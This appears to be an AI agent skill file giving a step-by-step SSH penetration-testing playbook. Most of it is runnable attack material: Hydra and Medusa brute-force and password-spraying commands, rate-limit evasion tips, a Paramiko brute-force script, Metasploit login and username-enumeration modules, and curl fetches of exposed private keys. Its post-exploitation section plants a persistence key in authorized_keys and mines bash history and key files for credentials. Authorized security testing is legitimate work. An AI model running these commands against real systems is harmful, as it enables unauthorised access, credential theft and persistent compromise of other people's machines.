SSH Penetration Testing: Скилл для аудита безопасности

--- name: SSH Penetration Testing description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques. metadata: author: zebbern version: "1.1" --- # SSH Penetration Testing ## Purpose Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security. ## Prerequisites ### Required Tools - Nmap with SSH scripts - Hydra or Medusa for brute-forcing - ssh-audit for configuration analysis - Metasploit Framework - Python with Paramiko library ### Required Knowledge - SSH protocol fundamentals - Public/private key authentication - Port forwarding concepts - Linux command-line proficiency ## Outputs and Deliverables 1. **SSH Enumeration Report** - Versions, algorithms, configurations 2. **Credential Assessment** - Weak passwords, default credentials 3. **Vulnerability Assessment** - Known CVEs, misconfigurations 4. **Tunnel Documentation** - Port forwarding configurations ## Core Workflow ### Phase 1: SSH Service Discovery Identify SSH services on target networks: ```bash # Quick SSH port scan nmap -p 22 192.168.1.0/24 --open # Common alternate SSH ports nmap -p 22,2222,22222,2200 192.168.1.100 # Full port scan for SSH nmap -p- --open 192.168.1.100 | grep -i ssh # Service version detection nmap -sV -p 22 192.168.1.100 ``` ### Phase 2: SSH Enumeration Gather detailed information about SSH services: ```bash # Banner grabbing nc 192.168.1.100 22 # Output: SSH-2.0-OpenSSH_8.4p1 Debian-5 # Telnet banner grab telnet 192.168.1.100 22 # Nmap version detection with scripts nmap -sV -p 22 --script ssh-hostkey 192.168.1.100 # Enumerate supported algorithms nmap -p 22 --script ssh2-enum-algos 192.168.1.100 # Get host keys nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100 # Check authentication methods nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100 ``` ### Phase 3: SSH Configuration Auditing Identify weak configurations: ```bash # ssh-audit - comprehensive SSH audit ssh-audit 192.168.1.100 # ssh-audit with specific port ssh-audit -p 2222 192.168.1.100 # Output includes: # - Algorithm recommendations # - Security vulnerabilities # - Hardening suggestions ``` Key configuration weaknesses to identify: - Weak key exchange algorithms (diffie-hellman-group1-sha1) - Weak ciphers (arcfour, 3des-cbc) - Weak MACs (hmac-md5, hmac-sha1-96) - Deprecated protocol versions ### Phase 4: Credential Attacks #### Brute-Force with Hydra ```bash # Single username, password list hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 # Username list, single password hydra -L users.txt -p Password123 ssh://192.168.1.100 # Username and password lists hydra -L users.txt -P passwords.txt ssh://192.168.1.100 # With specific port hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100 # Rate limiting evasion (slow) hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100 # Verbose output hydra -l admin -P passwords.txt -vV ssh://192.168.1.100 # Exit on first success hydra -l admin -P passwords.txt -f ssh://192.168.1.100 ``` #### Brute-Force with Medusa ```bash # Basic brute-force medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh # Multiple targets medusa -H targets.txt -u admin -P passwords.txt -M ssh # With username list medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh # Specific port medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222 ``` #### Password Spraying ```bash # Test common password across users hydra -L users.txt -p Summer2024! ssh://192.168.1.100 # Multiple common passwords for pass in "Password123" "Welcome1" "Summer2024!"; do hydra -L users.txt -p "$pass" ssh://192.168.1.100 done ``` ### Phase 5: Key-Based Authentication Testing Test for weak or exposed keys: ```bash # Attempt login with found private key ssh -i id_rsa user@192.168.1.100 # Specify key explicitly (bypass agent) ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100 # Force password authentication ssh -o PreferredAuthentications=password user@192.168.1.100 # Try common key names for key in id_rsa id_dsa id_ecdsa id_ed25519; do ssh -i "$key" user@192.168.1.100 done ``` Check for exposed keys: ```bash # Common locations for private keys ~/.ssh/id_rsa ~/.ssh/id_dsa ~/.ssh/id_ecdsa ~/.ssh/id_ed25519 /etc/ssh/ssh_host_*_key /root/.ssh/ /home/*/.ssh/ # Web-accessible keys (check with curl/wget) curl -s http://target.com/.ssh/id_rsa curl -s http://target.com/id_rsa curl -s http://target.com/backup/ssh_keys.tar.gz ``` ### Phase 6: Vulnerability Exploitation Search for known vulnerabilities: ```bash # Search for exploits searchsploit openssh searchsploit openssh 7.2 # Common SSH vulnerabilities # CVE-2018-15473 - Username enumeration # CVE-2016-0777 - Roaming vulnerability # CVE-2016-0778 - Buffer overflow # Metasploit enumeration msfconsole use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.100 run # Username enumeration (CVE-2018-15473) use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE /usr/share/wordlists/users.txt run ``` ### Phase 7: SSH Tunneling and Port Forwarding #### Local Port Forwarding Forward local port to remote service: ```bash # Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server # Access internal web server through SSH ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # Now access http://localhost:8080 # Access internal database ssh -L 3306:192.168.1.50:3306 user@192.168.1.100 # Multiple forwards ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100 ``` #### Remote Port Forwarding Expose local service to remote network: ```bash # Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server # Expose local web server to remote ssh -R 8080:localhost:80 user@192.168.1.100 # Remote can access via localhost:8080 # Reverse shell callback ssh -R 4444:localhost:4444 user@192.168.1.100 ``` #### Dynamic Port Forwarding (SOCKS Proxy) Create SOCKS proxy for network pivoting: ```bash # Create SOCKS proxy on local port 1080 ssh -D 1080 user@192.168.1.100 # Use with proxychains echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT -Pn 192.168.1.0/24 # Browser configuration # Set SOCKS proxy to localhost:1080 ``` #### ProxyJump (Jump Hosts) Chain through multiple SSH servers: ```bash # Jump through intermediate host ssh -J user1@jump_host user2@target_host # Multiple jumps ssh -J user1@jump1,user2@jump2 user3@target # With SSH config # ~/.ssh/config Host target HostName 192.168.2.50 User admin ProxyJump user@192.168.1.100 ``` ### Phase 8: Post-Exploitation Activities after gaining SSH access: ```bash # Check sudo privileges sudo -l # Find SSH keys find / -name "id_rsa" 2>/dev/null find / -name "id_dsa" 2>/dev/null find / -name "authorized_keys" 2>/dev/null # Check SSH directory ls -la ~/.ssh/ cat ~/.ssh/known_hosts cat ~/.ssh/authorized_keys # Add persistence (add your key) echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys # Extract SSH configuration cat /etc/ssh/sshd_config # Find other users cat /etc/passwd | grep -v nologin ls /home/ # History for credentials cat ~/.bash_history | grep -i ssh cat ~/.bash_history | grep -i pass ``` ### Phase 9: Custom SSH Scripts with Paramiko Python-based SSH automation: ```python #!/usr/bin/env python3 import paramiko import sys def ssh_connect(host, username, password): """Attempt SSH connection with credentials""" client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(host, username=username, password=password, timeout=5) print(f"[+] Success: {username}:{password}") return client except paramiko.AuthenticationException: print(f"[-] Failed: {username}:{password}") return None except Exception as e: print(f"[!] Error: {e}") return None def execute_command(client, command): """Execute command via SSH""" stdin, stdout, stderr = client.exec_command(command) output = stdout.read().decode() errors = stderr.read().decode() return output, errors def ssh_brute_force(host, username, wordlist): """Brute-force SSH with wordlist""" with open(wordlist, 'r') as f: passwords = f.read().splitlines() for password in passwords: client = ssh_connect(host, username, password.strip()) if client: # Run post-exploitation commands output, _ = execute_command(client, 'id; uname -a') print(output) client.close() return True return False # Usage if __name__ == "__main__": target = "192.168.1.100" user = "admin" # Single credential test client = ssh_connect(target, user, "password123") if client: output, _ = execute_command(client, "ls -la") print(output) client.close() ``` ### Phase 10: Metasploit SSH Modules Use Metasploit for comprehensive SSH testing: ```bash # Start Metasploit msfconsole # SSH Version Scanner use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.0/24 run # SSH Login Brute-Force use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.100 set USERNAME admin set PASS_FILE /usr/share/wordlists/rockyou.txt set VERBOSE true run # SSH Key Login use auxiliary/scanner/ssh/ssh_login_pubkey set RHOSTS 192.168.1.100 set USERNAME admin set KEY_FILE /path/to/id_rsa run # Username Enumeration use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE users.txt run # Post-exploitation with SSH session sessions -i 1 ``` ## Quick Reference ### SSH Enumeration Commands | Command | Purpose | |---------|---------| | `nc <host> 22` | Banner grabbing | | `ssh-audit <host>` | Configuration audit | | `nmap --script ssh*` | SSH NSE scripts | | `searchsploit openssh` | Find exploits | ### Brute-Force Options | Tool | Command | |------|---------| | Hydra | `hydra -l user -P pass.txt ssh://host` | | Medusa | `medusa -h host -u user -P pass.txt -M ssh` | | Ncrack | `ncrack -p 22 --user admin -P pass.txt host` | | Metasploit | `use auxiliary/scanner/ssh/ssh_login` | ### Port Forwarding Types | Type | Command | Use Case | |------|---------|----------| | Local | `-L 8080:target:80` | Access remote services locally | | Remote | `-R 8080:localhost:80` | Expose local services remotely | | Dynamic | `-D 1080` | SOCKS proxy for pivoting | ### Common SSH Ports | Port | Description | |------|-------------| | 22 | Default SSH | | 2222 | Common alternate | | 22222 | Another alternate | | 830 | NETCONF over SSH | ## Constraints and Limitations ### Legal Considerations - Always obtain written authorization - Brute-forcing may violate ToS - Document all testing activities ### Technical Limitations - Rate limiting may block attacks - Fail2ban or similar may ban IPs - Key-based auth prevents password attacks - Two-factor authentication adds complexity ### Evasion Techniques - Use slow brute-force: `-t 1 -w 5` - Distribute attacks across IPs - Use timing-based enumeration carefully - Respect lockout thresholds ## Troubleshooting | Issue | Solutions | |-------|-----------| | Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP | | Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format | | Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |